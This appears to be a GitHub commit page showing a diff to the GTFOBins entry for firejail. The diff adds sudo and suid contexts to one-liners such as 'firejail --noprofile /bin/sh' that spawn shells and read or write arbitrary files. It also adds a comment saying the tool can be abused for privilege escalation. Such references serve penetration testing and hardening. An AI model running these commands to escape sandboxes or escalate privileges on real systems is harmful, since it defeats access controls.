Skip to content

Commit e2c4ffa

Browse files
author
RelunSec
authored
Update firejail
1 parent d96f6c2 commit e2c4ffa

1 file changed

Lines changed: 11 additions & 8 deletions

File tree

_gtfobins/firejail

Lines changed: 11 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -1,24 +1,27 @@
11
---
2+
comment: |-
3+
firejail is a sandboxing tool for Linux. It can be abused to spawn shells,
4+
read and write files outside the sandbox, and escalate privileges when misconfigured.
25
functions:
36
file-read:
47
- code: |-
5-
firejail --noprofile cat /path/to/input-file
8+
firejail --noprofile cat /path/to/file-input
69
contexts:
10+
sudo:
11+
suid:
712
unprivileged:
8-
comment: |-
9-
Reads arbitrary files by bypassing sandbox profiles.
1013
file-write:
1114
- code: |-
12-
firejail --noprofile sh -c 'echo data > /path/to/output-file'
15+
firejail --noprofile sh -c 'echo data > /path/to/file-output'
1316
contexts:
17+
sudo:
18+
suid:
1419
unprivileged:
15-
comment: |-
16-
Writes arbitrary data to files outside the sandbox.
1720
shell:
1821
- code: |-
1922
firejail --noprofile /bin/sh
2023
contexts:
24+
sudo:
25+
suid:
2126
unprivileged:
22-
comment: |-
23-
Spawns an interactive shell outside of sandbox restrictions.
2427
...

0 commit comments

Comments
 (0)